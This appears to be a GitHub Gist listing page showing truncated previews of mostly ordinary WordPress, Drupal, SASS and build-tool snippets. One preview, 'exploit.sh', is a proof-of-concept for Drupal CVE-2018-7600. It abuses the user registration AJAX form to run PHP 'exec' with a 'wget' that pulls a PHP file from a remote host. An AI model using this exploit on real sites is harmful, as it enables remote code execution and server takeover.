Skip to content

Instantly share code, notes, and snippets.

@curtismchale
curtismchale / only-top-term-filters.php
Created May 25, 2016
Only lets the top level term in the permalink structure
View only-top-term-filters.php
<?php
function wpse147453_remove_child_categories_from_permalinks( $permalink, $post, $leavename, $sample ) {
if ( in_array( $post->post_type, array( 'focus_courses' ) ) ) {
// Allow for slug to be editable
$slug = $leavename ? '%' . $post->post_type . '%' : $post->post_name;
// Generate premalink prefix based on post type
$prefix = 'courses';
// add parent term slug
$term_slug = focus_top_term( $post );
@AlbinoDrought
AlbinoDrought / exploit.sh
Created Apr 12, 2018
Drupal CVE-2018-7600 PoC
View exploit.sh
#!/bin/sh
# https://github.com/a2u/CVE-2018-7600/issues/2
HOST="http://drupal.docker.localhost:8000"
PHP_FUNCTION="exec"
PHP_ARG="wget http://172.16.30.108:6969/foob.php"
curl -X POST \
"$HOST/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-F form_id=user_register_form \
@rfay
rfay / d8test_setup.sh
Created Mar 18, 2018
Experimental setup of Drupal 8 testing for ddev
View d8test_setup.sh
#!/bin/bash
# This script runs inside the ddev web container and sets up Drupal 8 testing.
# It assumes a regular Drupal 8 checkout, with the docroot in the project root.
# It can be added to the config.yaml as a step to automatically happen on start
# - Run this manually with "ddev exec ./d8test_setup.sh"
# - Run this in the container (after "ddev ssh) by just running "./d8test_setup.sh"
# - Run it automatically run on start by adding it to the project's config.yaml:
#hooks:
@stevenslack
stevenslack / functions.php
Created Apr 26, 2016
If sidebar has a text widget with a particular shortcode
View functions.php
<?php
/**
* Check the sidebar or sidebars for a shortcode
*
* @param mixed array|string|int $index sidebar id, name, or an array of sidebar names
* @param string $shortcode the shortcode to check for
* @return bool true if the sidebar contents contains the shortcode, false otherwise
*/
function if_sidebar_has_shorcode( $index, $shortcode ) {
// get all the sidebars widgets
@mAAdhaTTah
mAAdhaTTah / composer.json
Last active Apr 30, 2019
CMB2 as Composer Library
View composer.json
{
"require": {
"php": ">=5.3.0",
"composer/installers": "v1.0.12",
"webdevstudios/cmb2": "dev-master",
},
"autoload": {
"files": ["vendor/cmb2/init.php"]
},
"extra": {
View wp-core-contributors-by-version.php
<?php
$data_dir = 'c:/server/www/dev/data/';
$releases = [ ];
foreach ( range( 3.2, 4.0, 0.1 ) as $version ) {
$version = number_format( $version, 1 );
$data = json_decode( file_get_contents( $data_dir . $version . '.json' ), true );
$groups = wp_list_pluck( $data['groups'], 'data' );
@jeroenvdgulik
jeroenvdgulik / Talklist.md
Last active May 12, 2020
My mostly incomplete list of memorable talks that should probably be required material
@adamcbrewer
adamcbrewer / css-sass-helpers.scss
Last active Aug 20, 2020
SASS: Helpers and mixins for using with SASS
View css-sass-helpers.scss
//============================================================
// Typography
//============================================================
// An rem font-size mixin providing fallback to px
@mixin font-size($sizeValue: 1.4) {
$remValue: $sizeValue;
$pxValue: ($sizeValue * 10);
font-size: #{$pxValue}px;
font-size: #{$remValue}rem;
@grappler
grappler / Gruntfile.js
Last active Oct 5, 2020
https://webtranslateit.com/en/docs/web_translate_it_client/ / http://docs.transifex.com/developer/client/ Run this command in the folder to install all of the files needed. `npm install --save-dev`
View Gruntfile.js
module.exports = function(grunt) {
require('load-grunt-tasks')(grunt);
// Project configuration.
grunt.initConfig({
pkg: grunt.file.readJSON('package.json'),
makepot: {
target: {
@mortenson
mortenson / ddrush.sh
Last active Apr 25, 2021
What I currently use for local Drupal/Tome dev
View ddrush.sh
#! /bin/bash
# This runs a new Docker container, mounts the current directory (Drupal root),
# and runs an arbitrary drush command, in case you don't want to run it in dsession.
sudo docker run --rm -it --init -v "$(pwd)":/var/www/tome mortenson/tome drush "$@"